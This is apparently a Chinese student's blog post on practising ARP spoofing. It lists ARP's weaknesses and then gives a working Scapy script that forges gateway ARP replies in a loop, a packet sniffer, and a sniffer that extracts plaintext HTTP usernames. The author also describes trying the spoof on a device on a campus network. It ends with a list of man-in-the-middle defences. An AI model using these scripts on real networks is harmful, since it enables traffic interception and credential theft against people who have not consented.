arp欺骗实践
ARP的缺陷
1,arp数据包用广播发送 2,arp是无状态的,可以直接发送应答包 3,arp是动态更新的,因为交换机里的MAC表有限 4,arp没有认证。
ARP欺骗的脚本
import uuid
from scapy.all import *
import os
from scapy.layers.l2 import getmacbyip, Ether, ARP
def getselfMac():
mac= uuid.UUID(int=uuid.getnode()).hex[-12:]
return ":".join([mac[e:e+2] for e in range(0,11,2)])
def arpspoof():
gwIP = input("输入网关ip")
misleadingIP=input("输入要欺骗的ip")
mlmac = getmacbyip(misleadingIP)
eth = Ether(dst=mlmac)
arp = ARP(op=2,hwsrc=getselfMac(),psrc=gwIP,hwdst=mlmac,pdst=misleadingIP)
sendp(eth/arp,inter=2,loop=1)
arpspoof()
在进行ARP欺骗的过程中遇到些关于网络原理的问题,简单记录一下。
实际上我并没有欺骗成功。上图是我欺骗同一校园网下的一个设备。失败了,后来了解到可能是校园网使用了VLAN(虚拟局域网)技术。
当时我的理解是:
不在同一WLAN下不能进行ARP欺骗。然后我ping 了和我 “同一网关”小伙伴的电脑。 我只知道ARP欺骗要在同一WLAN下, 之前同一网段下用kali的arpspoof成功欺骗了。 但是现在的情况是我们不在同一网段,不知道是不是因为这个的影响。(后来才知道不同网段也可以欺骗)
校园网不能实现的话,我和同学开了热点尝试。
左边是同一热点下,对B(192.168.43.97)进行的ARP欺骗,已经满足了同一网络,同一网段,同一网关。但是还是失败了,明明可以ping通。还不成功那可能就是防火墙或者路由器的缘故了。
右边是对虚拟机win7进行的ARP欺骗。
Scapy编写的网络嗅探程序
使用sniff()捕获数据包后将嗅探结果保存为pacp文件
from scapy.all import *
packet=sniff(count=5)
wrpcap("./test.pacp",packet)
from scapy.all import *
from scapy.layers.inet import IP
from scapy.layers.l2 import Ether
pcaps = rdpcap("test.pacp")
print(len(pcaps))
for pkt in pcaps:
print("源MAC地址:"+pkt[Ether].src,
"目标MACD地址:"+pkt[Ether].dst,
"源IP地址为:"+pkt[IP].src,
"目标IP地址:"+pkt[IP].dst)
提取敏感信息
import re
from scapy.all import *
from scapy.layers.inet import IP
def httpsniff(pkt):
dest = pkt.getlayer(IP).dst #getlayer获取协议层名字
content = pkt.sprintf("%Raw.load%") #提取HTTP部分
username = re.findall('(?i)username-(.*)',content) #某个网站提交用户名字段为"customer="时
if username:
print('[*] Detected http Login to '+str(dest))
print('[+] Username:'+str(username[0]))
sniff(iface="WLAN",filter='tcp port 80',prn=httpsniff)
中间人攻击的解决方案
- 使用加密技术:使用安全协议如SSL/TLS等来保护数据传输过程中的机密性、完整性和认证性。
- 采用数字证书:数字证书是一种由权威机构颁发的证明身份的电子文件。通过验证数字证书的有效性,可以确保通信双方的身份真实可靠。
- 使用VPN:虚拟私有网络(VPN)是一种通过公共网络建立起加密的专用网络,在网络层面上解决了中间人攻击的问题。
- 认证用户身份:Web应用程序可以使用表单、cookie或其他机制来验证用户身份,从而避免黑客冒充用户登录系统。
- 更新软件版本:时刻关注厂商发布的安全更新,并及时更新软件版本,以修复安全漏洞。
- 静态绑定路由表
- 使用DHCP snooping功能
- 划分VLAN